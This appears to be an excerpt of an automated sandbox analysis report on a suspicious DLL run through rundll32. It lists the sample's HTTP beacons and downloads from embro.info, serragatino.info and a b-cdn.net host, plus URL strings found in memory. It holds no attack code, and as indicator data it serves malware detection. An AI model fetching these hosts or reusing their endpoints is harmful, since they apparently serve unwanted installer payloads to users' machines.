Source: global traffic	HTTP traffic detected: GET /installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%22%2C%231&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updateTask/index.php?v=e1.0.0.28&os_mj=10&os_mn=0&os_bitness=64&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&retry_version=1.0.0.28&retry_count=0 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: embro.infoConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854395&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854400&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854414&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854416&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854417&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info

Source: unknown

DNS traffic detected: queries for: serragatino.info

Source: rundll32.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1315274555.0000000002E16000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1315956231.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1344950440.0000000003226000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error...
Source: rundll32.exe, 00000006.00000002.1533185168.0000000004DA3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1509281947.0000000005C4C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1530276294.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: svchost.exe, 0000000B.00000002.3167579094.000001D989118000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3166699441.000001D988887000.00000004.00000020.00020000.00000000.sdmp, regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.11.dr	String found in binary or memory: http://standards.iso.org/iso/19770/-2/2009/schema.xsd
Source: svchost.exe, 00000000.00000002.1446167098.0000026B78213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp, c23a32abd836342a70b7f6c1aa74947e.2.E.6.dr, c23a32abd836342a70b7f6c1aa74947e.2.6.dr	String found in binary or memory: http://www.google.com/update2/response
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: rundll32.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: rundll32.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: rundll32.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1425857973.0000026B7825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428442083.0000026B78284000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427443653.0000026B78282000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000002.1446627199.0000026B78285000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428442083.0000026B78284000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427443653.0000026B78282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000000.00000003.1417764385.0000026B78286000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446652719.0000026B78288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1425857973.0000026B7825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446191210.0000026B7822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446297264.0000026B7823F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418560381.0000026B7825E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000003.1419169080.0000026B7825D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428145464.0000026B7822D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/
Source: rundll32.exe, 00000006.00000003.1531585454.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532207523.0000000002E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/-
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/0-3AEA-1069-A2D8-08002B30309D
Source: rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/I
Source: rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/S
Source: rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/U
Source: rundll32.exe, 00000006.00000003.1382967097.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/X~
Source: rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/_
Source: rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/a
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer.php
Source: rundll32.exe, 00000006.00000003.1531585454.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D48000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532207523.0000000002E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cfront
Source: rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cuseres
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/finish
Source: rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.00000000052E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C5
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=ErR
Source: rundll32.exe, 00000006.00000002.1533859291.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/finishixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cfron
Source: rundll32.exe, 00000007.00000002.1508638447.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/finishixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cusere
Source: rundll32.exe, 00000006.00000002.1532177913.0000000002E32000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1531480442.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507561144.0000000002D02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1507087077.0000000002D01000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/get_timestamp.php
Source: rundll32.exe, 00000007.00000002.1507561144.0000000002D02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1507087077.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/get_timestamp.php./
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/get_timestamp.php1023
Source: rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/start500
Source: rundll32.exe, 00000006.00000003.1382772442.0000000004D84000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D48000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532997737.0000000004D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508449489.0000000004CD1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1508449489.0000000004C80000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55
Source: rundll32.exe, 00000007.00000002.1508449489.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/j
Source: rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://embro.info/updateTask/index.php
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ss
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.v
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualea0D#xk
Source: svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000003.1426967132.0000026B78249000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446270438.0000026B78235000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
